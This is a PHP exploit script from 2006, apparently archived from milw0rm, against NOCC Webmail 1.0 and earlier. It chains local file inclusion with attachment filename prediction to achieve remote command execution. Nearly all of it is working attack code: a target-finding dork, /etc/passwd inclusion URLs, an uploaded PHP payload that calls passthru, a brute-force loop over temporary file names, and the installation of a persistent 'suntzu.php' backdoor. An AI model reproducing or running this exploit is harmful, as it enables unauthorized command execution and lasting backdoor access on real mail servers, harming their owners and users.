<?php # ---noccw_10_incl_xpl.php 8.22 23/02/2006 # # # # NOCC Webmail <= 1.0 remote commands execution exploit through arbitrary # # local inclusion & attachment filename prediction # # # # coded by rgod # # site: http://retrogod.altervista.org # # # # -> works regardless of any magic_quotes_gpc settings # # # # dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net # # -Zoekinalles.nl -analysis # # # # Sun-Tzu: "Knowing the place and the time of the coming battle, we may # # concentrate from the greatest distances in order to fight" # /* short explaination: we have various arbitrary local inclusion issues, ex: http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00 http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00 http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00 This code upload an evil mail attachment (file is renamed by NOCC...). After, it tries to include it, predicting its name and its location, ex: http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00 If succeeded, it installs a backdoor called suntzu.php on target server. To launch this exploit you need a POP3 account on a machine of your choice, you need to supply servername, username & password. a note: you can do the same manually and more quickly with profile files, if enabled, ex: edit your profile, then: http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00 see the full advisory here: http://retrogod.altervista.org/noccw_10_incl_xpl.html */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",10); ob_implicit_flush (1); echo'<html><head><title> **** NOCC Webmail <= 1.0 remote commands execution **** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> **** NOCC Webmail <= 1.0 remote commands execution ****</p><p class="Stile6">a script by rgod at <a href="http://retrogod.altervista.org"target="_blank"> http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input type="text" name="hOsT"> <span class="Stile5">* tArGeT (ex:www.sitename.com) </span></p> <p><input type="text" name="pAtH"> <span class="Stile5">* pAtH (ex: /nocc/ or just / ) </span> </p> <p> <input type="text" name="cmd"> <span class="Stile5"> * specify a command </span> </p> <p> <input type="text" name="POP3_SERVER"><span class="Stile5"> * a POP3 server </span> </p> <p><input type="text" name="USER"><span class="Stile5"> * USERNAME ...</span></p><p><input type="password" name="PASSWD"> <span class="Stile5"> * ... and PASSWORD to it </span></p><p><input type="text" name="PorT"><span class="Stile5">specify a PorT other than 80 (default value)</span> </p> <p> <input type="text" name="pRoXy"> <span class="Stile5"> send exploit through an HTTP pRoXy (ip:PorT) </span> </p> <p><input type="submit" name="Submit" value="go!"></p></form></td></tr> </table> </body></html>'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1){ $dAtAi=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($dAtAi)==1) { echo "<td>0".htmlentities($dAtAi)."</td>"; } else { echo "<td>".htmlentities($dAtAi)."</td> "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpAcKeT() //2x speed { global $pRoXy, $hOsT, $PorT, $pAcKeT, $HtMl, $pRoXy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($pRoXy_regex,$pRoXy); if (!$c) {echo 'Not a valid proxy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$hOsT." on PorT ".$PorT."...<br>"; if ($pRoXy=='') { $result = socket_connect($socket, $hOsT, $PorT); } else { $parts =explode(':',$pRoXy); echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $HtMl= ''; socket_write($socket, $pAcKeT, strlen($pAcKeT)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$HtMl.=$out;} echo nl2br(htmlentities($HtMl)); echo "Closing socket..."; socket_close($socket); } } } function sendpAcKeTii($pAcKeT) { global $pRoXy, $hOsT, $PorT, $HtMl, $pRoXy_regex; if ($pRoXy=='') { $ock=fsockopen(gethOsTbyname($hOsT),$PorT); if (!$ock) { echo 'No response from '.htmlentities($hOsT); die; } } else { $c = preg_match($pRoXy_regex,$pRoXy); if (!$c) { echo 'Not a valid pRoXy...';die; } $parts=explode(':',$pRoXy); echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from pRoXy...';die; } } fputs($ock,$pAcKeT); if ($pRoXy=='') { $HtMl=''; while (!feof($ock)) { $HtMl.=fgets($ock); } } else { $HtMl=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) { $HtMl.=fread($ock,1); } } fclose($ock); // echo nl2br(htmlentities($HtMl)); } function greenwich_timestamp($HtMl) { $temp=explode("Date: ",$HtMl); $temp2=explode("\r\n",$temp[1]); $is_now=$temp2[0]; $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]); $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2]; $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6', 'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12'); for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}} return mktime($hour,$min,$sec,$month,$day,$year); } if ( get_magic_quotes_gpc() ) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = stripslashes_deep($_POST); } $hOsT=$_POST[hOsT];$pAtH=$_POST[pAtH];$PorT=$_POST[PorT]; $USER=$_POST[USER];$PASSWD=$_POST[PASSWD];$POP3_SERVER=$_POST[POP3_SERVER]; $cmd=$_POST[cmd]; echo "<span class=\"Stile5\">"; if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>'')) { $PorT=intval(trim($PorT)); if ($PorT=='') {$PorT=80;} if (($pAtH[0]<>'/') or ($pAtH[strlen($pAtH)-1]<>'/')) {echo 'Error... check the pAtH!'; die;} if ($pRoXy=='') {$p=$pAtH;} else {$p='http://'.$hOsT.':'.$PorT.$pAtH;} $hOsT=str_replace("\r","",$hOsT);$hOsT=str_replace("\n","",$hOsT); $pAtH=str_replace("\r","",$pAtH);$pAtH=str_replace("\n","",$pAtH); #STEP 0 -> Check if already succeeded on tArGeT hOsT... $subpAtH= array ('','html/'); for ($i=0; $i<=count($subpAtH)-1; $i++) { $pAcKeT ="GET ".$p.$subpAtH[$i]."suntzu.php?cmd=".urlencode($cmd)." HTTP/1.1\r\n"; $pAcKeT.="Host: ".$hOsT."\r\n"; $pAcKeT.="Connection: Close\r\n\r\n"; show($pAcKeT); sendpAcKeTii($pAcKeT); if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl)); die("Exploit succeeded...");} } if (file_exists($hOsT.".txt")) { $f=fopen($hOsT.".txt","r"); $XpL=fgets($f); fclose($f); $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n"; $pAcKeT.="hOsT: ".$hOsT."\r\n"; $pAcKeT.="Connection: Close\r\n\r\n"; show($pAcKeT); sendpAcKeTii($pAcKeT); if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl)); die("Exploit succeeded...");} } } if (($hOsT<>'') and ($pAtH<>'') and ($cmd<>'') and ($POP3_SERVER<>'') and ($USER<>'') and ($PASSWD<>'')) { $difftime=0; //syncrhonize with remote tArGeT Unin epoch time by Apache "Date:" response header //it carries GMT time... sending two HEAD requests, one to target, one to yourself if (eregi("Date: ",$HtMl)) { $pAcKeT ="HEAD / HTTP/1.1\r\nhOsT: ".$hOsT."\r\nConnection: Close\r\n\r\n"; sendpAcKeTii($pAcKeT); $itstime=greenwich_timestamp($HtMl); echo "tArGeT hOsT greenwich timestamp: ".$itstime."<br>"; $pAcKeT=str_replace($hOsT,$_SERVER[SERVER_NAME],$pAcKeT); $fp=fsockopen($_SERVER[SERVER_NAME],$_SERVER[SERVER_PORT]); fputs($fp,$pAcKeT);$out=''; while (!feof($fp)){ $out.=fgets($fp); } fclose($fp); $mytime=greenwich_timestamp($out); echo "my greenwich timestamp: ".$mytime."<br>"; $difftime= $itstime-$mytime; echo "difftime: ".$difftime."<br>"; } #STEP 1 -> Login to a POP3 server that you choose to have access on NOCC interface $dAtA ="user=".$USER; $dAtA.="&domainnum=0"; $dAtA.="&passwd=".$PASSWD; $dAtA.="&server=".$POP3_SERVER; $dAtA.="&port=110"; $dAtA.="&servtype=pop3"; $dAtA.="&lang=en"; $dAtA.="&theme=standard"; $dAtA.="&enter=Ok"; $pAcKeT ="POST ".$p."action.php HTTP/1.1\r\n"; $pAcKeT.="Referer: http://".$hOsT.$pAtH."\r\n"; $pAcKeT.="Accept-Language: en\r\n"; $pAcKeT.="Content-Type: application/x-www-form-urlencoded\r\n"; $pAcKeT.="User-Agent: Sun-Tzu\r\n"; $pAcKeT.="Host: ".$hOsT."\r\n"; $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n"; $pAcKeT.="Connection: Close\r\n"; $pAcKeT.="Cache-Control: no-cache\r\n\r\n"; $pAcKeT.=$dAtA; show($pAcKeT); sendpAcKeTii($pAcKeT); $temp=explode("Set-Cookie: ",$HtMl); $temp2=explode(" ",$temp[1]); $COOKIE=$temp2[0]; $temp2=explode(" ",$temp[2]); $COOKIE.=" ".$temp2[0]; echo "COOKIE -> ".htmlentities($COOKIE)."<BR>"; #STEP 2 -> Upload the evil attachment... $action = array ('add', 'Attach'); //'action' name is different in some versions $found=0; for ($d=0; $d=count($action)-1; $d++) { $dAtA='-----------------------------7d630bc80618 Content-Disposition: form-data; name="sort" 1 -----------------------------7d630bc80618 Content-Disposition: form-data; name="sortdir" 1 -----------------------------7d630bc80618 Content-Disposition: form-data; name="lang" en -----------------------------7d630bc80618 Content-Disposition: form-data; name="action" write -----------------------------7d630bc80618 Content-Disposition: form-data; name="sendaction" '.$action[$d].' -----------------------------7d630bc80618 Content-Disposition: form-data; name="num_attach" 0 -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_from" fake@fakemail.com -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_to" -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_cc" -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_bcc" -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_subject" -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_att"; filename="C:\suntzuuuu.php" Content-Type: text/html <?php ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[cmd]); $sun=fopen("suntzu.php","w");fputs($sun,"<?php ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[cmd]);"); fclose($sun);chmod("suntzu.php",777); die; ?> -----------------------------7d630bc80618 Content-Disposition: form-data; name="priority" 3 (Normal) -----------------------------7d630bc80618 Content-Disposition: form-data; name="mail_body" -----------------------------7d630bc80618--'; $pAcKeT ="POST ".$p."send.php HTTP/1.1\r\n"; $pAcKeT.="Referer: http://".$hOsT.$pAtH."action.php?action=write&lang=en&sort=1&sortdir=1\r\n"; $pAcKeT.="Accept-Language: en\r\n"; $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d630bc80618\r\n"; $pAcKeT.="User-Agent: Sun-Tzu\r\n"; $pAcKeT.="Host: ".$hOsT."\r\n"; $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n"; $pAcKeT.="Connection: Close\r\n"; $pAcKeT.="Cache-Control: no-cache\r\n"; $pAcKeT.="Cookie: ".$COOKIE."\r\n\r\n"; $pAcKeT.=$dAtA; show($pAcKeT); $mytime=time()+$difftime; echo "predicting Unix epoch time on remote machine ->".$mytime."<br><br>"; sendpAcKeTii($pAcKeT); if (eregi("suntzuuuu.php",$HtMl)) {$found=1; break;} } if ($found==0) {die("Failed to upload the attachment, maybe wrong pop3 details");} # STEP 3 Our routine... cycling to find the evil attachment and to launch commands... # ---------------------------------START---------------------------------------- //guessing where $tmpdir can be..., add some values here if you want $tempdir= array ( 'tmp/', '../../../../../../../../../../../../../tmp/', '../../../../../../../../../../../../../temp/', '', 'temp/', '../tmp/', '../../tmp/', '../../../tmp/', '../../../../tmp/', '../../../../../tmp/', '../../../../../../tmp/', '../../../../../../../tmp/' ); //predicting time() substring in attachment filename $predict_time= array ( $mytime, $mytime + 1, $mytime + 2, $mytime + 3 ); function refresh() { flush(); ob_flush(); usleep(10000); } $script= array ( "index.php?lang=", "index.php?theme=", "html/footer.php?_SESSION[nocc_theme]=..%2F" ); for ($y=1; $y<=65535; $y++) //some hex values in php temporary files { $a_value=strtoupper(dechex($y)); for ($x=0; $x<=count($tempdir)-1; $x++) //for each possible file location { for ($z=0; $z<=count($predict_time) - 1; $z++) // for actual Unix epoch time, with +1,+2,+3 { for($ww=0; $ww<=count($script)-1; $ww++) //for each vulnerable script { $XpL="../".$tempdir[$x]."php".$a_value.".tmp".$predict_time[$z].".att".chr(0x00); $XpL=urlencode($XpL); $XpL=$script[$ww].$XpL; $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n"; $pAcKeT.="Host: ".$hOsT."\r\n"; $pAcKeT.="Connection: Close\r\n\r\n"; echo "trying with http://".$hOsT.$pAtH.$XpL."<br>"; refresh(); //show($pAcKeT); sendpAcKeTii($pAcKeT); if (eregi("Hi Master!",$HtMl)) { show($pAcKeT); echo nl2br(htmlentities($HtMl)); $f=fopen($hOsT.".txt","w"); fputs($f,$XpL); fclose($f); refresh(); die("Exploit succeded... We tried to put a backdoor on tArGeT system, ************ <br> call this url: <br> http://".htmlentities($hOsT.$pAtH)."suntzu.php?&cmd=[your command] <br> or this: <br> http://".htmlentities($hOsT.$pAtH)."html/suntzu.php?&cmd=[your command] <br> however,if not succeeded, you can launch commands with this: <br> http://".htmlentities($hOsT.$pAtH.$XpL)."&cmd=[your command] <br> Also, we keep exploit url in ".htmlentities($hOsT).".txt, so you have not to <br> cycle anymore... <br> Enjoy! ***********************************************************************<br> "); } } } } } //If you are here... echo "Exploit failed..."; #-------------------------------END--------------------------------------------- } else {echo "Fill * required fields, optionally specify a pRoXy...";} ?> # milw0rm.com [2006-02-23]